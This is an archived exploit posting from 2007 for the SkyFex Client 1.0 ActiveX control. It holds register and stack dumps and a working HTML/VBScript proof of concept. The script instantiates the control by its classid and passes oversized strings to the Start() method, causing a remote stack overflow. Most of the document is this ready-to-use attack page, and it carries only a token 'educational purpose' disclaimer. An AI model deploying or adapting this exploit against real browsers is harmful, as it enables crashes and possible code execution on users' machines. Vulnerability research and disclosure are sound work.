exploit the possibilities

skyfex-dos.txt

skyfex-dos.txt
Posted Dec 28, 2007
Authored by shinnai | Site shinnai.altervista.org

SkyFex Client version 1.0 remote stack overflow proof of concept exploit that makes use of the ActiveX Start() method.

tags | exploit, remote, denial of service, overflow, activex, proof of concept
MD5 | 60acbdc4c0a19100cde1215ef246cab1

skyfex-dos.txt

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<pre>
<code><span style="font: 8pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
<b>SkyFex Client 1.0 "Start()" Method Remote Stack Overflow</b>
url: https://skyfex.com/

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

<b>Technical details:
File: SkyFexClient.ocx
Ver.: 1.0.2.77
Codebase: https://skyfex.com//download/SkyFexClient.cab#Version=1,0,2,77
Marked as:
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False
KillBitSet: False</b>

<b>Registers dump:</b>
EAX 007B5A8C
ECX 0164224C
EDX 033E0024 UNICODE "DDDD..."
EBX 00000000
ESP 01735244 ASCII "EEE"
EBP 0173F414 ASCII "$A"
ESI 008A8A8C
EDI 033E0024 UNICODE "DDDD..."
EIP 02A995E5 SkyFexCl.02A995E5

<b>Stack dump:</b>
01735244 00454545 IEXPLORE.00454545
01735248 02A60045 RETURN to SkyFexCl.02A60045 from SkyFexCl.02A995C0
0173524C 43434343 urlmon.43434343
01735250 43434343 urlmon.43434343
01735254 43434343 urlmon.43434343
01735258 43434343 urlmon.43434343
0173525C 43434343 urlmon.43434343
...

'Sub start (
' ByVal id_client As String ,
' ByVal ip_server As String ,
' ByVal text_ser As String ,
' ByVal url_page As String ,
' ByVal bDebug As Integer
' )

<b><font color='red'>This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.</font></b>

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:F84E0B64-1E86-4640-8094-5B38CEB28C1E' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
Sub tryMe
id_client = String(16676, "A")
ip_server = String(2000, "B")
text_ser = String(2000, "C")
url_page = String(4539717, "D")
bDebug = 484

test.start id_client, ip_server, text_ser, url_page, bDebug
End Sub
</script>
</span></span>
</code></pre>
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